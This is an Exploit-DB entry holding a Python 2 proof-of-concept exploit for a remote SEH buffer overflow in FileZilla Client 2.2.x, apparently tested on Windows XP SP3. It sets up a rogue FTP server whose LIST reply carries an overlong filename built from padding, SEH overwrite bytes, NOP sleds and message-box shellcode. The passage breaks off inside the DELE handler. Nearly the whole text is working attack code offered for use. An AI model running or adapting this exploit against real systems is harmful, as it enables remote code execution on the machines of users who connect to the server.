Exploit-DB #37729
Description: FileZilla Client 2.2.x - Remote Buffer Overflow (SEH)
Type: remote
Platform: windows
Date: 2015-08-07
Author: ly0n

Exploit:
# Exploit Title: Filezilla client 2.2.X SEH buffer overflow exploit
# Date: 02/08/2015
# Exploit Author: ly0n
# Vendor Homepage: filezilla-project.org/
# Software Link: http://www.oldapps.com/filezilla.php?app=7cdf14e88e9dfa85fb661c1c6e649e90
# Version: tested on filezilla 2.2.21
# Tested on: Windows XP sp3 english


#!/usr/bin/env python2
# coding: utf-8
import os,socket,threading,time
#import traceback

# visit: ly0n.me
# greetz: NBS

#MSGBOX "BrokenByte" 
msgbox = ("\x68\x6e\x33\x72\x00\x68\x75\x74"
"\x69\x30\x68\x5e\x58\x65\x63\x89"
"\xe3\x68\x20\x20\x20\x00\x68\x68"
"\x65\x72\x65\x68\x77\x61\x73\x20"
"\x68\x6e\x33\x72\x20\x68\x75\x74"
"\x69\x30\x68\x5e\x58\x65\x63\x89"
"\xe1\x31\xc0\x50\x53\x51\x50\x50"
"\xbe\xea\x07\x45\x7e\xff\xe6\x31"
"\xc0\x50\xb8\x12\xcb\x81\x7c\xff"
"\xe0")

nops = "\x90" * 100
#77EA9CAC    POP POP RET kernel32.dll <- seh
#EB069090    SHORT JUMP 6 POS + 2 NOPS  <- nseh
nseh = "\xeb\x06\x90\x90"
seh = "\xAC\x9C\xEA\x77" 

allow_delete = False
local_ip = "192.168.11.6" #SERVER LOCAL IP
local_port = 21 #DESIRED PORT

buffer1 = "\x41" * 1896 + nseh  + seh + nops + msgbox + nops
buffer = buffer1 + ".txt"
currdir=os.path.abspath('.')
 
class FTPserverThread(threading.Thread):
    def __init__(self,(conn,addr)):
        self.conn=conn
        self.addr=addr
        self.basewd=currdir
        self.cwd=self.basewd
        self.rest=False
        self.pasv_mode=False
        threading.Thread.__init__(self)
 
    def run(self):
        self.conn.send('220 Welcome!\r\n')
        while True:
            cmd=self.conn.recv(256)
            if not cmd: break
            else:
                print 'Recieved:',cmd
                try:
                    func=getattr(self,cmd[:4].strip().upper())
                    func(cmd)
                except Exception,e:
                    print 'ERROR:',e
                    #traceback.print_exc()
                    self.conn.send('500 Sorry.\r\n')
 
    def SYST(self,cmd):
        self.conn.send('215 UNIX Type: L8\r\n')
    def OPTS(self,cmd):
        if cmd[5:-2].upper()=='UTF8 ON':
            self.conn.send('200 OK.\r\n')
        else:
            self.conn.send('451 Sorry.\r\n')
    def USER(self,cmd):
        self.conn.send('331 OK.\r\n')
    def PASS(self,cmd):
        self.conn.send('230 OK.\r\n')
        #self.conn.send('530 Incorrect.\r\n')
    def QUIT(self,cmd):
        self.conn.send('221 Goodbye.\r\n')
    def NOOP(self,cmd):
        self.conn.send('200 OK.\r\n')
    def TYPE(self,cmd):
        self.mode=cmd[5]
        self.conn.send('200 Binary mode.\r\n')
 
    def CDUP(self,cmd):
        if not os.path.samefile(self.cwd,self.basewd):
            #learn from stackoverflow
            self.cwd=os.path.abspath(os.path.join(self.cwd,'..'))
        self.conn.send('200 OK.\r\n')
    def PWD(self,cmd):
        cwd=os.path.relpath(self.cwd,self.basewd)
        if cwd=='.':
            cwd='/'
        else:
            cwd='/'+cwd
        self.conn.send('257 \"%s\"\r\n' % cwd)
    def CWD(self,cmd):
        chwd=cmd[4:-2]
        if chwd=='/':
            self.cwd=self.basewd
        elif chwd[0]=='/':
            self.cwd=os.path.join(self.basewd,chwd[1:])
        else:
            self.cwd=os.path.join(self.cwd,chwd)
        self.conn.send('250 OK.\r\n')
 
    def PORT(self,cmd):
        if self.pasv_mode:
            self.servsock.close()
            self.pasv_mode = False
        l=cmd[5:].split(',')
        self.dataAddr='.'.join(l[:4])
        self.dataPort=(int(l[4])<<8)+int(l[5])
        self.conn.send('200 Get port.\r\n')
 
    def PASV(self,cmd): # from http://goo.gl/3if2U
        self.pasv_mode = True
        self.servsock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        self.servsock.bind((local_ip,0))
        self.servsock.listen(1)
        ip, port = self.servsock.getsockname()
        print 'open', ip, port
        self.conn.send('227 Entering Passive Mode (%s,%u,%u).\r\n' %
                (','.join(ip.split('.')), port>>8&0xFF, port&0xFF))
 
    def start_datasock(self):
        if self.pasv_mode:
            self.datasock, addr = self.servsock.accept()
            print 'connect:', addr
        else:
            self.datasock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
            self.datasock.connect((self.dataAddr,self.dataPort))
 
    def stop_datasock(self):
        self.datasock.close()
        if self.pasv_mode:
            self.servsock.close()
 
 
    def LIST(self,cmd):
        self.conn.send('150 Here comes the directory listing.\r\n')
        print 'list:', self.cwd
        self.start_datasock()
	dirlist = "drwxrwxrwx    1 100      0           11111 Jun 11 21:10" +buffer1+"\r\n\n"
	dirlist += "-rw-rw-r--    1 1176     1176         1060 Aug 16 22:22  "+buffer+" \r\n\n"
	self.datasock.send("total 2\r\n"+dirlist)
        self.stop_datasock()
        self.conn.send('226 Directory send OK.\r\n')
 
    def toListItem(self,fn):
        st=os.stat(fn)
        fullmode='rwxrwxrwx'
        mode=''
        for i in range(9):
            mode+=((st.st_mode>>(8-i))&1) and fullmode[i] or '-'
        d=(os.path.isdir(fn)) and 'd' or '-'
        ftime=time.strftime(' %b %d %H:%M ', time.gmtime(st.st_mtime))
        return d+mode+' 1 user group '+str(st.st_size)+ftime+os.path.basename(fn)
 
    def MKD(self,cmd):
        dn=os.path.join(self.cwd,cmd[4:-2])
        os.mkdir(dn)
        self.conn.send('257 Directory created.\r\n')
 
    def RMD(self,cmd):
        dn=os.path.join(self.cwd,cmd[4:-2])
        if allow_delete:
            os.rmdir(dn)
            self.conn.send('250 Directory deleted.\r\n')
        else:
            self.conn.send('450 Not allowed.\r\n')
 
    def DELE(self,cmd):
        fn=os.path.join(self.cwd,cmd[5:-2])
        if allow_delete:
            os.remove(fn)
            self.conn.send('250 File